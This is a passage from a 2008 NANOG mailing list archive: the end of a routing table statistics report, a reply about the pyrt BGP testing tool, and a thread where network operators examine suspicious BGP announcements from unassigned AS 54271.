126 244 Dynamic Network Technologies, Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1368 2588 224 UniNet S.A. de C.V. 11830 612 299 9 Instituto Costarricense de El 22047 565 270 14 VTR PUNTO NET S.A. 7303 469 231 65 Telecom Argentina Stet-France 16814 426 27 10 NSS, S.A. 6471 414 85 48 ENTEL CHILE S.A. 11172 408 118 71 Servicios Alestra S.A de C.V 10620 405 106 69 TVCABLE BOGOTA 14117 375 23 9 Telefonica del Sur S.A. 20299 336 23 99 NEWCOM AMERICAS Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 475 61 30 LINKdotNET AS number 20858 398 34 3 EgyNet 3741 273 853 224 The Internet Solution 2018 222 206 94 Tertiary Education Network 6713 143 135 11 Itissalat Al-MAGHRIB 33783 135 10 12 EEPAD TISP TELECOM & INTERNET 5713 130 556 75 Telkom SA Ltd 5536 120 8 17 Internet Egypt Network 29571 107 13 8 Ci Telecom Autonomous system 33776 100 6 3 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3008 3874 625 Qwest 6389 2664 3260 195 bellsouth.net, inc. 4755 1673 342 175 Videsh Sanchar Nigam Ltd. Aut 2386 1485 663 877 AT&T Data Communications Serv 4323 1475 1045 377 Time Warner Telecom 7018 1399 5823 981 AT&T WorldNet Services 8151 1368 2588 224 UniNet S.A. de C.V. 6298 1303 185 753 Cox Communicatons 11492 1221 148 31 Cable One 17488 1208 83 93 Hathway IP Over Cable Interne Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 6389 2664 2469 bellsouth.net, inc. 4755 1673 1498 Videsh Sanchar Nigam Ltd. Aut 11492 1221 1190 Cable One 8151 1368 1144 UniNet S.A. de C.V. 17488 1208 1115 Hathway IP Over Cable Interne 4323 1475 1098 Time Warner Telecom 18566 1045 1035 Covad Communications 9498 1080 1017 BHARTI BT INTERNET LTD. 1785 1084 980 AppliedTheory Corporation 22773 969 906 Cox Communications, Inc. Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 701 UUNET Technologies, 22492 UNALLOCATED 12.2.46.0/24 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.20.55.0/24 6517 Yipes Communications 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.31.25.0/24 6517 Yipes Communications 27220 UNALLOCATED 12.35.204.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.48.244.0/23 7843 Adelphia Corp. 24.51.159.0/24 7843 Adelphia Corp. 24.54.23.0/24 7843 Adelphia Corp. 24.54.224.0/19 20001 HoldCo LLC - Road Runner 24.75.160.0/19 7843 Adelphia Corp. 24.75.192.0/18 7843 Adelphia Corp. 24.142.40.0/21 7018 AT&T WorldNet Services 24.142.160.0/19 7018 AT&T WorldNet Services 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:17 /9:9 /10:16 /11:45 /12:145 /13:286 /14:516 /15:1037 /16:9979 /17:4327 /18:7427 /19:15846 /20:18437 /21:18085 /22:22612 /23:23524 /24:137181 /25:854 /26:1038 /27:781 /28:83 /29:9 /30:1 /31:0 /32:7 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 209 1761 3008 Qwest 6389 1667 2664 bellsouth.net, inc. 6298 1288 1303 Cox Communicatons 11492 1205 1221 Cable One 2386 1181 1485 AT&T Data Communications Serv 18566 1026 1045 Covad Communications 17488 1022 1208 Hathway IP Over Cable Interne 4755 1018 1673 Videsh Sanchar Nigam Ltd. Aut 9583 1007 1152 Sify Limited 6478 981 990 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:7 8:126 12:2084 13:2 15:22 16:3 17:5 18:13 20:35 24:1081 25:1 32:61 38:447 40:92 41:663 43:1 44:2 47:12 52:3 55:3 56:3 57:25 58:518 59:505 60:450 61:1002 62:1192 63:2028 64:3282 65:2382 66:3519 67:1229 68:712 69:2266 70:736 71:118 72:1900 73:5 74:1054 75:153 76:302 77:744 78:723 79:200 80:931 81:841 82:589 83:388 84:564 85:952 86:411 87:684 88:335 89:1289 90:14 91:1336 92:220 93:674 94:56 96:40 97:28 98:207 99:2 112:1 113:1 114:79 115:2 116:824 117:319 118:190 119:420 120:60 121:562 122:798 123:364 124:867 125:1160 128:362 129:199 130:132 131:407 132:66 133:9 134:177 135:32 136:222 137:83 138:146 139:94 140:490 141:98 142:407 143:314 144:367 145:51 146:367 147:158 148:516 149:198 150:130 151:190 152:144 153:136 154:10 155:277 156:174 157:291 158:184 159:237 160:279 161:118 162:219 163:187 164:523 165:451 166:320 167:329 168:632 169:137 170:428 171:32 172:10 188:1 189:271 190:2175 192:5723 193:4104 194:3224 195:2525 196:1046 198:3715 199:3256 200:5549 201:1471 202:7611 203:8047 204:3972 205:2124 206:2383 207:2760 208:3423 209:3494 210:2588 211:1074 212:1404 213:1574 214:158 215:49 216:4411 217:1201 218:342 219:420 220:1058 221:468 222:308 End of report From mort at ieee.org Fri Jul 11 13:51:17 2008 From: mort at ieee.org (Richard Mortier) Date: Fri, 11 Jul 2008 19:51:17 +0100 Subject: Building a BGP test network In-Reply-To: <49DB653E-2CF6-4918-997E-83E154DDA793@styx.org> References: <4874CB5C.7030309@packetnexus.com> <4874D898.50805@network-i.net> <200807092036.11508.ariel@fireball.tau.ac.il> <49DB653E-2CF6-4918-997E-83E154DDA793@styx.org> Message-ID: <888CD55B-5B7E-4874-88DC-3FDBB2D84041@vipadia.com> On 9 Jul 2008, at 18:49, William Waites wrote: > > Le 08-07-09 ? 19:36, Ariel Biener a ?crit : >> >> I have been pondering over this issue for some time now (not too much >> time to invest on it), since I wanted to created a duplicate model >> of our >> production network in a test environment, not connected to any >> outside >> network (thus cannot peer, same problem as described here). > > What about http://ipmon.sprint.com/pyrt/ ? > > It doesn't do everything being designed for the reverse problem -- > pulling routes from a live BGP network for analysis. But it does > include a BGP speaker and the ability to read and write MRTD files. > I imagine with relatively little work it could be coaxed to read an > MRTD dump and send the entries to a test peer. hi; as the author of pyrt, i'd just like to say that extending it to act as a bgp speaker able to read an MRTD file in and push it out down a peering as a series of updates ought indeed to be straightforward. it used to be able to read routeviews and ris BGP update and rib dumps ca. 2001/2002 as i used them for testing before we got the live feeds from sprintlink setup; it's possible that new attributes and suchlike might mean that it has problems with current dumps, but that ought to be similarly easy to fix. let me know if you run into any problems with pyrt and i'll see what i can do to help! (i'm just pleased that someone might still want to use the code :) Cheers, -- Richard Mortier Technical Director, Vipadia Ltd., Systems and networking consulting, integration and development; voice and video messaging on IP mort at vipadia.com From tme at multicasttech.com Sun Jul 13 12:01:49 2008 From: tme at multicasttech.com (Marshall Eubanks) Date: Sun, 13 Jul 2008 13:01:49 -0400 Subject: AS 54271 Message-ID: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> As of this morning, I am seeing BGP from AS 54271 *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 3549 3549 12301 8696 20922 54271 i This ASN has not been assigned to any RIR. Is this a bogon, or does anyone know of a legitimate reason for this ? Regards Marshall From patrick at ianai.net Sun Jul 13 12:04:29 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 13 Jul 2008 13:04:29 -0400 Subject: AS 54271 In-Reply-To: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> Message-ID: On Jul 13, 2008, at 1:01 PM, Marshall Eubanks wrote: > As of this morning, I am seeing BGP from AS 54271 Maybe someone mistyped "65271"? Which is still bad, but not at bad (IMHO). -- TTFN, patrick > *> 62.77.196.0/22 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 62.77.254.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 81.17.184.0/22 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 81.17.190.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 82.131.196.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 82.131.198.0/24 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 82.131.248.0/21 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.64.0/22 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.70.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.72.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.78.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.82.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.96.0/23 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > *> 89.148.99.0/24 38.101.161.116 6991 0 174 > 3549 3549 3549 12301 8696 20922 54271 i > > This ASN has not been assigned to any RIR. Is this a bogon, or does > anyone know of a legitimate reason for this ? > > Regards > Marshall > From kuenzler at init7.net Sun Jul 13 12:24:21 2008 From: kuenzler at init7.net (Fredy Kuenzler) Date: Sun, 13 Jul 2008 19:24:21 +0200 Subject: AS 54271 In-Reply-To: References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> Message-ID: <487A3A45.1000805@init7.net> Patrick W. Gilmore schrieb: > On Jul 13, 2008, at 1:01 PM, Marshall Eubanks wrote: > >> As of this morning, I am seeing BGP from AS 54271 > > Maybe someone mistyped "65271"? Which is still bad, but not at bad > (IMHO). Interestingly, AS54271 is the last # of an unassigned block: > 46080-47103 Assigned by ARIN whois.arin.net 2008-03-27 > 47104-48127 Assigned by RIPE NCC whois.ripe.net 2008-04-07 > 48128-54271 Unassigned > 54272-64511 Reserved by the IANA > 64512-65534 Designated for private use (Allocated to the IANA) > 65535 Reserved http://www.iana.org/assignments/as-numbers F. From Jon.Kibler at aset.com Sun Jul 13 12:35:19 2008 From: Jon.Kibler at aset.com (Jon Kibler) Date: Sun, 13 Jul 2008 13:35:19 -0400 Subject: AS 54271 In-Reply-To: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> Message-ID: <487A3CD7.5040003@aset.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Marshall Eubanks wrote: > As of this morning, I am seeing BGP from AS 54271 > > *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i I would be willing to bet that the IP netblocks being advertised are unallocated (or, unused within an allocated block). In the past, before botnets were so common, spammers would often hijack unused netblocks, advertise routes to them, flood spam from them, then the routes would disappear, making it impossible to track the spammers. Jon Kibler - -- Jon R. Kibler Chief Technical Officer Advanced Systems Engineering Technology, Inc. Charleston, SC USA o: 843-849-8214 c: 843-224-2494 s: 843-564-4224 My PGP Fingerprint is: BAA2 1F2C 5543 5D25 4636 A392 515C 5045 CF39 4253 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkh6PNcACgkQUVxQRc85QlNYcACfWKl/jxJNlt3xcSmK3A1B5/kq QF0An31R/cHv0U0/u+E7mU/0RvjN+evW =2AIk -----END PGP SIGNATURE----- ================================================== Filtered by: TRUSTEM.COM's Email Filtering Service http://www.trustem.com/ No Spam. No Viruses. Just Good Clean Email. From joelja at bogus.com Sun Jul 13 12:35:47 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 13 Jul 2008 10:35:47 -0700 Subject: AS 54271 In-Reply-To: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> Message-ID: <487A3CF3.6070301@bogus.com> those prefixes all have ripe route object with origin AS 20922 all the routes I see for a given prefix look like the following: 2914 1299 12301 8696 20922 54271 129.250.0.171 from 129.250.0.171 (129.250.0.12) Origin IGP, metric 1, localpref 100, valid, external Community: 2914:420 2914:2000 2914:3000 65504:1299 2497 3257 12301 8696 20922 54271 202.232.0.2 from 202.232.0.2 (202.232.0.2) Origin IGP, localpref 100, valid, external 7660 2516 3257 12301 8696 20922 54271 203.181.248.168 from 203.181.248.168 (203.181.248.168) Origin IGP, localpref 100, valid, external Community: 2516:1030 etc... Marshall Eubanks wrote: > As of this morning, I am seeing BGP from AS 54271 > > *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > > This ASN has not been assigned to any RIR. Is this a bogon, or does > anyone know of a legitimate reason for this ? > > Regards > Marshall > From mhernand1 at comcast.net Sun Jul 13 12:42:06 2008 From: mhernand1 at comcast.net (manolo) Date: Sun, 13 Jul 2008 13:42:06 -0400 Subject: AS 54271 In-Reply-To: <487A3CF3.6070301@bogus.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> <487A3CF3.6070301@bogus.com> Message-ID: <487A3E6E.8040003@comcast.net> This ip space is from Bahrain 89.148.0.0/19 but some how has ended up in Hungary from an unknown owner. Definitely looks suspicious in my book. Manolo Joel Jaeggli wrote: > those prefixes all have ripe route object with origin AS 20922 > > all the routes I see for a given prefix look like the following: > > 2914 1299 12301 8696 20922 54271 > 129.250.0.171 from 129.250.0.171 (129.250.0.12) > Origin IGP, metric 1, localpref 100, valid, external > Community: 2914:420 2914:2000 2914:3000 65504:1299 > > 2497 3257 12301 8696 20922 54271 > 202.232.0.2 from 202.232.0.2 (202.232.0.2) > Origin IGP, localpref 100, valid, external > > 7660 2516 3257 12301 8696 20922 54271 > 203.181.248.168 from 203.181.248.168 (203.181.248.168) > Origin IGP, localpref 100, valid, external > Community: 2516:1030 > > etc... > > Marshall Eubanks wrote: >> As of this morning, I am seeing BGP from AS 54271 >> >> *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> >> This ASN has not been assigned to any RIR. Is this a bogon, or does >> anyone know of a legitimate reason for this ? >> >> Regards >> Marshall >> > > > From swm at emanon.com Sun Jul 13 14:02:48 2008 From: swm at emanon.com (Scott Morris) Date: Sun, 13 Jul 2008 15:02:48 -0400 Subject: AS 54271 In-Reply-To: <487A3CF3.6070301@bogus.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> <487A3CF3.6070301@bogus.com> Message-ID: <036a01c8e51b$0b00ab10$800610ac@scott66ed7b03d> Wouldn't it be better to ask the folks in Hungary (AS20922) who are peering with this site? One side, I'd buy the typo. Both sides, mutual typos are a little more difficult. Not that conspiracy theories are all that much fun, but I'm finding the one-sided mistake hard to believe. Either that or the folks at AS20922 haven't figured out that an open bgp peer isn't a great idea! :) Scott -----Original Message----- From: Joel Jaeggli [mailto:joelja at bogus.com] Sent: Sunday, July 13, 2008 1:36 PM To: Marshall Eubanks Cc: NANOG list Subject: Re: AS 54271 those prefixes all have ripe route object with origin AS 20922 all the routes I see for a given prefix look like the following: 2914 1299 12301 8696 20922 54271 129.250.0.171 from 129.250.0.171 (129.250.0.12) Origin IGP, metric 1, localpref 100, valid, external Community: 2914:420 2914:2000 2914:3000 65504:1299 2497 3257 12301 8696 20922 54271 202.232.0.2 from 202.232.0.2 (202.232.0.2) Origin IGP, localpref 100, valid, external 7660 2516 3257 12301 8696 20922 54271 203.181.248.168 from 203.181.248.168 (203.181.248.168) Origin IGP, localpref 100, valid, external Community: 2516:1030 etc... Marshall Eubanks wrote: > As of this morning, I am seeing BGP from AS 54271 > > *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 > 3549 3549 12301 8696 20922 54271 i > > This ASN has not been assigned to any RIR. Is this a bogon, or does > anyone know of a legitimate reason for this ? > > Regards > Marshall > From joelja at bogus.com Sun Jul 13 15:10:30 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 13 Jul 2008 13:10:30 -0700 Subject: AS 54271 In-Reply-To: <036a01c8e51b$0b00ab10$800610ac@scott66ed7b03d> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> <487A3CF3.6070301@bogus.com> <036a01c8e51b$0b00ab10$800610ac@scott66ed7b03d> Message-ID: <487A6136.4030801@bogus.com> Scott Morris wrote: > Wouldn't it be better to ask the folks in Hungary (AS20922) who are peering > with this site? These are or appear to be all 20922's prefixes... 54271 is a stub from my vantage points that only appears from behind 20992. > One side, I'd buy the typo. Both sides, mutual typos are a little more > difficult. looks more like a lack of clue. off-hand I'd hazard that only one party is involved. > Not that conspiracy theories are all that much fun, but I'm finding the > one-sided mistake hard to believe. Either that or the folks at AS20922 > haven't figured out that an open bgp peer isn't a great idea! :) > > Scott > > -----Original Message----- > From: Joel Jaeggli [mailto:joelja at bogus.com] > Sent: Sunday, July 13, 2008 1:36 PM > To: Marshall Eubanks > Cc: NANOG list > Subject: Re: AS 54271 > > those prefixes all have ripe route object with origin AS 20922 > > all the routes I see for a given prefix look like the following: > > 2914 1299 12301 8696 20922 54271 > 129.250.0.171 from 129.250.0.171 (129.250.0.12) > Origin IGP, metric 1, localpref 100, valid, external > Community: 2914:420 2914:2000 2914:3000 65504:1299 > > 2497 3257 12301 8696 20922 54271 > 202.232.0.2 from 202.232.0.2 (202.232.0.2) > Origin IGP, localpref 100, valid, external > > 7660 2516 3257 12301 8696 20922 54271 > 203.181.248.168 from 203.181.248.168 (203.181.248.168) > Origin IGP, localpref 100, valid, external > Community: 2516:1030 > > etc... > > Marshall Eubanks wrote: >> As of this morning, I am seeing BGP from AS 54271 >> >> *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 >> 3549 3549 12301 8696 20922 54271 i >> >> This ASN has not been assigned to any RIR. Is this a bogon, or does >> anyone know of a legitimate reason for this ? >> >> Regards >> Marshall >> > > From christian at broknrobot.com Sun Jul 13 15:40:10 2008 From: christian at broknrobot.com (Christian Koch) Date: Sun, 13 Jul 2008 16:40:10 -0400 Subject: AS 54271 In-Reply-To: <487A6136.4030801@bogus.com> References: <85DEC1CE-6E32-4633-94F3-C3994A120F7B@multicasttech.com> <487A3CF3.6070301@bogus.com> <036a01c8e51b$0b00ab10$800610ac@scott66ed7b03d> <487A6136.4030801@bogus.com> Message-ID: interestingly, before july 7th these prefixes were originating from another private as - 65501, until sometime that day routes were withdrawn from 65501 and began being announced from 54271... On Sun, Jul 13, 2008 at 4:10 PM, Joel Jaeggli wrote: > Scott Morris wrote: > >> Wouldn't it be better to ask the folks in Hungary (AS20922) who are >> peering >> with this site? >> > > These are or appear to be all 20922's prefixes... > > 54271 is a stub from my vantage points that only appears from behind 20992. > > One side, I'd buy the typo. Both sides, mutual typos are a little more >> difficult. >> > > looks more like a lack of clue. off-hand I'd hazard that only one party is > involved. > > > Not that conspiracy theories are all that much fun, but I'm finding the >> one-sided mistake hard to believe. Either that or the folks at AS20922 >> haven't figured out that an open bgp peer isn't a great idea! :) >> >> Scott >> -----Original Message----- >> From: Joel Jaeggli [mailto:joelja at bogus.com] Sent: Sunday, July 13, 2008 >> 1:36 PM >> To: Marshall Eubanks >> Cc: NANOG list >> Subject: Re: AS 54271 >> >> those prefixes all have ripe route object with origin AS 20922 >> >> all the routes I see for a given prefix look like the following: >> >> 2914 1299 12301 8696 20922 54271 >> 129.250.0.171 from 129.250.0.171 (129.250.0.12) >> Origin IGP, metric 1, localpref 100, valid, external >> Community: 2914:420 2914:2000 2914:3000 65504:1299 >> >> 2497 3257 12301 8696 20922 54271 >> 202.232.0.2 from 202.232.0.2 (202.232.0.2) >> Origin IGP, localpref 100, valid, external >> >> 7660 2516 3257 12301 8696 20922 54271 >> 203.181.248.168 from 203.181.248.168 (203.181.248.168) >> Origin IGP, localpref 100, valid, external >> Community: 2516:1030 >> >> etc... >> >> Marshall Eubanks wrote: >> >>> As of this morning, I am seeing BGP from AS 54271 >>> >>> *> 62.77.196.0/22 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 62.77.254.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 81.17.184.0/22 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 81.17.190.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 82.131.196.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 82.131.198.0/24 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 82.131.248.0/21 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.64.0/22 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.70.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.72.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.78.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.82.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.96.0/23 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> *> 89.148.99.0/24 38.101.161.116 6991 0 174 3549 >>> 3549 3549 12301 8696 20922 54271 i >>> >>> This ASN has not 